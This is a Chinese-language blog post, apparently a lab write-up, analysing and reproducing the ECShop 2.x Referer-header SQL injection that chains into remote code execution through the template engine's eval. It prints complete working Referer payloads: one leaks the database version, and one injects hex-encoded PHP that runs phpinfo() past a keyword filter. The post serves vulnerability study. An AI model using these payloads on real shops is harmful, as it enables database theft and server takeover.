ECShop 2.x SQL注入/任意代码执行漏洞分析复现

  • A+
所属分类:代码审计

01

漏洞简介

ecshop2.x 代码执行

问题发生在user.php的display函数,模版变量可控,导致注入,配合注入可达到远程代码执行


02


漏洞环境

直接在vulhub开始:

cd vulhub/ecshop/xianzhi-2017-02-82239600/docker-compose up -d

ecshop2.x环境

http://1.1.1.1:8080/

ECShop 2.x SQL注入/任意代码执行漏洞分析复现


03


漏洞分析

0x01-SQL注入

由于没有找到源码,只好在docker环境里作代码分析了:ECShop 2.x SQL注入/任意代码执行漏洞分析复现

根据payload可以发现,Referer就是万恶的根源。

先定位HTTP_REFERER的位置:

# 匹配字符串并输出所在行grep -n "HTTP_REFERER" user.php

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

然后利用sed,查看附近的代码

# 查看第300行 - 330行的内容sed -n "300,330p" user.php

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

关键代码:

/* 用户登录界面 */elseif ($action == 'login'){    if (empty($back_act))    {        if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))        {            $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];        }        else        {            $back_act = 'user.php';        }    }    $captcha = intval($_CFG['captcha']);    if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0)    {        $GLOBALS['smarty']->assign('enabled_captcha', 1);        $GLOBALS['smarty']->assign('rand', mt_rand());    }    $smarty->assign('back_act', $back_act);    $smarty->display('user_passport.dwt');}

可以看见,首先把HTTP_REFERER传给了back_act,然后接着将back_acck变量传assign函数,跟进一下:

grep -rn "function assign("

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

sed -n "60,90p" includes/cls_template.php

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

根据注释可以了解assign函数的功能是注册模板变量,也就是$back_act变成了$this->_var[$back_act]=$back_act

继续跟进includes/cls_template.php:

sed -n "90,140p" includes/cls_template.php

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

后面调用了display函数,而在user.php有如下代码:

$smarty->display('user_passport.dwt');

传递给display函数的$filename是user_passport.dwt,在display函数中,首先会调用$this->fetch来处理user_passport.dwt模板文件,fetch函数中会调用$this->make_compiled来编译模板。

docker分析起来实在不太方便ECShop 2.x SQL注入/任意代码执行漏洞分析复现,只好试着把docker中的文件压缩下载本地继续分析了:

# 将源码压缩打包tar -czvf ecshop2.x.tar.gz html# 将压缩包移动到web目录下mv ecshop2.x.tar.gz html/

ECShop 2.x SQL注入/任意代码执行漏洞分析复现用phpstorm打开:

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

读取user_passport.dwt模版文件内容,显示解析变量后的html内容,用_echash做分割,得到$k然后交给isnert_mod处理,由于_echash是默认的

不是随机生成的:

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

所以$val内容可随意控制。

继续跟进isnert_mod函数:

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

$val传递进来,先用|分割,得到

  • $fun

  • $para

$para进行反序列操作,$fun和insert_拼接,最后动态调用$fun($para)。可以发现,函数名为insert_开头即可,而参数是完全可控。接下来就是寻找以insert_开头的可利用的函数:

# 定位字符串Ctrl+Shift+F

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

最后在includes/lib_insert.php中找到了insert_ads函数:

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

由于$arr是可控的,而且会拼接到SQL语句中,所以注入点便有了。

现在便根据上面这个流程构造查询数据库版本的payload:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}


0x02-代码执行

继续跟insert_ads函数:

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

SQL查询结束之后会调用模板类的fetch方法

user.php -> display() -> fetch() -> user_passport.dwtlib_insert.php -> insert_ads() -> fetch() -> $position_style

在这里回溯一下$position_style,发现它是被$row['position_style']赋值,而$row['position_style']是SQL语句查询的结果

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

由于上面分析的SQL注入,sql语句查询的结果是可控的,也就意味着$position_style可控。虽然这里有一个判断:

$row['position_id']要等于$arr['id']

但并无大碍,因为它也因为上面的sql注入变成变得可控了。

继续往后走,$position_style会拼接'str:'

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

接着便传入fetch函数,跟进fetch函数:

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

其实这里便可以看见代码执行的影子了:

eval()

当满足条件:

strncmp($filename,'str:', 4) == 0# 因为之前已拼接'str:',这里自然为真

到进入eval前还需要经过函数fetch_str处理,跟进fetch_str

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

这里主要是通过正则对字符串进行处理:

# 第1个正则,很明显,黑名单嘛,过滤关键字# 第2个正则,将捕获到的值交于$this-select()函数处理return preg_replace("/{([^}{n]*)}/e", "$this->select('\1');", $source)

继续跟进select函数:

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

如果传入的变量满足条件:

# 第一个字符是$$tag{0} == '$'

便返回

return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';

最终返回到_eval()函数执行。

在返回之前,调用了$this->get_var函数,继续跟进:

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

当传入的变量不满足条件:

strpos($val, '.$') !== false

调用$this->make_var,继续跟进

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

在这里$val经过了如下处理, 然后返回给get_var():

'$this->_var['' . $val . '']'

现在来回溯一下payload的处理流程:

make_var() -> get_var() -> select() -> fetch_str() -> eval()

即若想通过_eval()执行代码的话,就得构造payload通过以下函数(从下到上):

  • make_var()

    # <?php echo $this->_var[' $val '];?>, 这里需要['闭合$val == abc'];echo phpinfo();//
  • get_var()

    # 第一个字符是$$val == $abc'];echo phpinfo();//
  • select()

    # 进入select(),需要被正则捕获,即$val == {$abc'];echo phpinfo();//# 这里会因为phpinfo() 被fetch_str()第一个正则匹配到# 需要小小的bypass一下$val == {$abc'];echo phpinfo/**/();//}
  • fetch_str()

    $val == {$abc'];echo phpinfo/**/();//}# payload构造完毕

接下来就是把构造好的payload通过sql注入传给$position_style。这里可以用union select 来控制查询的结果:

$sql  = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .'p.ad_height, p.position_style, RAND() AS rnd ' .'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' ."WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' "."AND a.position_id = '" . $arr['id'] . "' " .'ORDER BY rnd LIMIT ' . $arr['num'];

先构造条件:

$row['position_id'] == $arr['id'

$row['position_id']是第1列的结果,$position_style是第2列的结果:

$$row['position_id'] == arr['id'] -> '/*# '/*的16进制值为0x27202f2a

根据:

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

构造出来的payload如下:

$val == {$abc'];echo phpinfo/**/();//}$position_style == $val == {$abc'];echo phpinfo/**/();//}# {$abc'];echo phpinfo/**/();//} 的16进制为0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d# $arr['num'] 为*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10--

最后结合SQL注入漏洞,可得最终的payload:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94c



04


漏洞复现

0x01-SQL注入

payload:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}


如图:

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

成功查询了数据版本:

ECShop 2.x SQL注入/任意代码执行漏洞分析复现



0x02-代码执行

payload:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94c

如图:

ECShop 2.x SQL注入/任意代码执行漏洞分析复现

成功执行了phpinfo()。


05


小结

经典的“二次漏洞”,从一个SQL注入漏洞最后转变为代码执行漏洞。

3.x的版本也有洞,等下次在复现分析吧。



参考:

https://paper.seebug.org/691/https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.mdhttps://badcode.cc/2018/09/04/ECShop-0day%E7%9A%84%E5%A0%95%E8%90%BD%E4%B9%8B%E8%B7%AF/


本文始发于微信公众号(don9sec):ECShop 2.x SQL注入/任意代码执行漏洞分析复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: